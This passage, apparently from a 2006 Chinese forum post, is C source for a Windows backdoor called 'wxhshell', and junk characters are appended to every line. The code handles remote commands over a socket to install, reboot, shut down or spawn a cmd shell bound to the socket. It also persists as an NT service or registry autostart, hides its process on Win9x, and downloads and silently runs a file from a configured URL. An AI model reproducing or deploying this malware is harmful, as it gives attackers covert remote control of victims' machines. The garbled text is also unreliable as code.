    switch(cmd[0]) { X tJswxw`K  
  YEg .  
  // 帮助 l9]o\JFXk  
  case '?': { Wl,%&H2S<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qsI{ b<n  
    break; x2sN\tOh^  
  } 5?^]1P_  
  // 安装 ]MC/t5vCu  
  case 'i': { {]+ jL1  
    if(Install()) PqTYAN&F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\NF  
    else jIKBgsiF/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q A.+U:I8  
    break; Us1@\|]  
    } [Dnusp7e  
  // 卸载 aZ8h[#]7  
  case 'r': { EJO.'vQ  
    if(Uninstall()) @8|~+y8,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1oB$MQoc  
    else 0 9tikj1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [0K=I64 z  
    break; )m|C8[u  
    } P~&O4['<  
  // 显示 wxhshell 所在路径 baqn7k"  
  case 'p': { 4\v~HFsv  
    char svExeFile[MAX_PATH]; C=8H)Ef,l  
    strcpy(svExeFile,"\n\r"); )sqaR^  
      strcat(svExeFile,ExeFile); `$H7KIG  
        send(wsh,svExeFile,strlen(svExeFile),0); EH(tUwY%{  
    break; K/DH / r  
    } JAN|aCzD  
  // 重启 RTA%hCr!  
  case 'b': { 6!@0VI&P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cnbo +U  
    if(Boot(REBOOT)) &/HoSj>HS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0(\p<qq  
    else { II&<  
    closesocket(wsh); 8:~b &>   
    ExitThread(0); +5#x6[  
    } S3;lKr  
    break; cY{I:MA+h@  
    } !`Le`c  
  // 关机 V):`&@  
  case 'd': { fa"\=V2S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); av)?>J~;  
    if(Boot(SHUTDOWN)) K@HLIuz4t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Bsw/wv  
    else { R!9qQn?  
    closesocket(wsh); f]c <9Q>*  
    ExitThread(0); 3=IG#6)~C  
    } jBS'g{y-!  
    break; aJa.U^1{  
    } %Sc=_%6  
  // 获取shell )x)gHY8;  
  case 's': { s~=g*99H  
    CmdShell(wsh); D]jkR} t  
    closesocket(wsh); & wOE\TCL  
    ExitThread(0); }H5/3be  
    break; %Or2iuO%-,  
  } Zct!/u9 Q  
  // 退出 hw*1gm  
  case 'x': { yYg   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \,hrk~4U;(  
    CloseIt(wsh); k8 u%$G  
    break; e$ 32  
    } Hv8H.^D>  
  // 离开 j3{HkcjJG  
  case 'q': { N2[jO+6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EavX8r  
    closesocket(wsh); aiJnfU]W  
    WSACleanup(); o)p[ C   
    exit(1); <5=^s%H  
    break; rq>@ 0i  
        } h(ZZ7(ue  
  } iXI > >9  
  } L)kwMk  
usU5q>1  
  // 提示信息 ttgb"Wb%S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qEE V&  
} Ju# - >]  
  } &iez{[O  
R e-4y5f  
  return; !2=< MO  
} )ui]vS:>  
5*C#~gd& F  
// shell模块句柄 zW8rC!  
int CmdShell(SOCKET sock) &Yb!j  
{ )17CG*K1  
STARTUPINFO si; <A<N? `"  
ZeroMemory(&si,sizeof(si)); N 8 n`f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DJR_"8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jYI\.bc  
PROCESS_INFORMATION ProcessInfo; 22$M6Qof]n  
char cmdline[]="cmd"; "dQ02y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); opc`n}Fc  
  return 0; >8PGyc*9  
} ;<hLy(@  
jnho *,X  
// 自身启动模式 5o2w)<d!  
int StartFromService(void) `)?N7g[\u  
{ y\k#83aU|  
typedef struct +VT/ c  
{ O%}?DiSl  
  DWORD ExitStatus; lub_2Cb|j  
  DWORD PebBaseAddress; 4MUN1/DId`  
  DWORD AffinityMask; -c4g;;%  
  DWORD BasePriority; :J6 xYy$  
  ULONG UniqueProcessId; i24t$7q  
  ULONG InheritedFromUniqueProcessId; y!eT>4Oyg  
}   PROCESS_BASIC_INFORMATION; )xm[mvt  
@S9^~W3G3  
PROCNTQSIP NtQueryInformationProcess; }ff+RGxLIG  
Nk2n&(~$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TsVU^Z%W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q-<h)WTA  
AdD,94/  
  HANDLE             hProcess; 'Y2ImSWj  
  PROCESS_BASIC_INFORMATION pbi; ]}4JT  
\~X:ffb =  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L _D#  
  if(NULL == hInst ) return 0; 1Be/(pSc  
 T_)G5a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @B \$ me  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 45Hbg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +R"Y~ m{F  
Y[!s:3\f  
  if (!NtQueryInformationProcess) return 0; A3^_'K  
xciwKIpS  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0@yw#.j  
  if(!hProcess) return 0; P](/5KrK  
`l2h65\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vN&(__3((  
G4rd<V0[D  
  CloseHandle(hProcess); w"{mDL}c  
%/oeV;D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); # Rhtaq9  
if(hProcess==NULL) return 0; +wp!hk&C5  
nc3u sq  
HMODULE hMod; dWTc3@xd  
char procName[255]; lk*w M?Z  
unsigned long cbNeeded; % oJH 6F  
@4G{L8Q}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'i <%kL@  
$MqEM~^=  
  CloseHandle(hProcess); > -,$  
-e O>d}  
if(strstr(procName,"services")) return 1; // 以服务启动 mWF\h>]|.  
GXi)3I%  
  return 0; // 注册表启动 v:"Y  
} ''($E /  
h t3P@;  
// 主模块 <UY9<o  
int StartWxhshell(LPSTR lpCmdLine) cJ\ 1ndBH  
{ r:M0# 2   
  SOCKET wsl; *4/KK  
BOOL val=TRUE; xFcW%m>9C  
  int port=0; xb2j |KY7  
  struct sockaddr_in door; &Qe2 }e$  
!?" pnKb}  
  if(wscfg.ws_autoins) Install(); uSJLIb  
g_@b- :$Yq  
port=atoi(lpCmdLine); a4XK.[O  
oT|:gih5  
if(port<=0) port=wscfg.ws_port; _hgGF9  
Wr@q+Whq  
  WSADATA data; O>>/2V9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .l,]yWwfK  
MP_/eC ;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )X3 |[4R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "pO** z$Z  
  door.sin_family = AF_INET; 7Y)i>[u3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O;$}j:;KF  
  door.sin_port = htons(port); `a[ V_4wO  
,Iru_=Wk~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {8 &=t8,c  
closesocket(wsl); <E:_9#Z0sc  
return 1; ^9]g5.z:  
} J\FLIw4  
zDBm^ s  
  if(listen(wsl,2) == INVALID_SOCKET) {  c& $[a%s  
closesocket(wsl); x_9#:_S'  
return 1; xf?"Q#  
} Xy}>O*  
  Wxhshell(wsl); a]J>2A@-I  
  WSACleanup(); mz<X$2]?  
<?:h(IZe[  
return 0; 2Sk hBb=d  
zcuz @  
} 3v&Shb?xb;  
YV'B*arIA  
// 以NT服务方式启动 T)tTzgLD}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :UX8^+bfZ  
{ B`w8d[cL7  
DWORD   status = 0; {suQ"iv  
  DWORD   specificError = 0xfffffff; 3EH@tlTl  
: rudo[L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JEK_W<BD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; fl4 0jo]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i ~)V>x  
  serviceStatus.dwWin32ExitCode     = 0; '*EKi  
  serviceStatus.dwServiceSpecificExitCode = 0; jAovzZ6BL  
  serviceStatus.dwCheckPoint       = 0; ftQ;$@  
  serviceStatus.dwWaitHint       = 0; 1r5Z$3t\  
JxKd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Pva]Q  
  if (hServiceStatusHandle==0) return; >[~`rOU*|Y  
@1qdnU  
status = GetLastError(); L=.@hs  
  if (status!=NO_ERROR) i>C%[dk9  
{ FbH@qHSH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =4L%A=]`  
    serviceStatus.dwCheckPoint       = 0; ` +)Bl%*  
    serviceStatus.dwWaitHint       = 0; CYsLyk  
    serviceStatus.dwWin32ExitCode     = status; l\!`ZhM,  
    serviceStatus.dwServiceSpecificExitCode = specificError; /XNC^!z6Js  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vP_mS 4X  
    return; yTNHM_P  
  } LoSrXK~0~J  
3Vk\iJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zm_8{Rta}  
  serviceStatus.dwCheckPoint       = 0; r=xec@R]*  
  serviceStatus.dwWaitHint       = 0; V2:S 9vO'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7W+{U0 2O  
} .bRtK+}F#  
E_P,>f  
// 处理NT服务事件,比如:启动、停止 b?2 \j}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JUJrtK S  
{ 'R#MH  
switch(fdwControl) UMMGT6s,E8  
{ xa 967Ki9"  
case SERVICE_CONTROL_STOP: bIzBY+P  
  serviceStatus.dwWin32ExitCode = 0; P057]cAat<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M5x MTP-  
  serviceStatus.dwCheckPoint   = 0; z uo:yaO  
  serviceStatus.dwWaitHint     = 0; ) % gU  
  {  .4Mc4'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Hq=_}]F  
  } Fr<tk^~/  
  return; J<9}) m  
case SERVICE_CONTROL_PAUSE: k9&W0$I#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =AF;3  
  break; 07\]8^/G  
case SERVICE_CONTROL_CONTINUE: 9)n3f^,Oj*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -vh\XO  
  break; @Y ?p-&  
case SERVICE_CONTROL_INTERROGATE: R <&U]%FD  
  break; BFqM6_/J  
}; ]w]:9w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q6o}2<T@  
} zs'Jgm.v  
cK IA.c}N  
// 标准应用程序主函数 j#l1KO^y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <d[GGkY]=  
{ /8,cF7XL*  
#8%~u+"N  
// 获取操作系统版本 ;0Ih:YY6  
OsIsNt=GetOsVer(); $_|jI ^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !nQoz^_`P  
++!0r['+ >  
  // 从命令行安装 3g0v,7,Zv  
  if(strpbrk(lpCmdLine,"iI")) Install(); v5FfxDvw  
,fhwDqR ?  
  // 下载执行文件 xo(>nFjo  
if(wscfg.ws_downexe) { =7S\-{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5X9*K  
  WinExec(wscfg.ws_filenam,SW_HIDE); E< pO!P  
} Nig)!4CG  
jk])S~xl?  
if(!OsIsNt) { d:h X3  
// 如果时win9x,隐藏进程并且设置为注册表启动 8vj]S5  
HideProc(); }9Q<<a  
StartWxhshell(lpCmdLine); Zj)A%WTD,  
} xoQqku"vn  
else ciN*gwI)  
  if(StartFromService()) I=k`VId:  
  // 以服务方式启动 9}11>X  
  StartServiceCtrlDispatcher(DispatchTable); ^ ;cJjl'=  
else U> {CG+X  
  // 普通方式启动 bE"J&;|  
  StartWxhshell(lpCmdLine); eie u|_  
:;o?d&C  
return 0; t=dZM}wj_\  
}
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只看该作者 1 发表于: 2006-10-10
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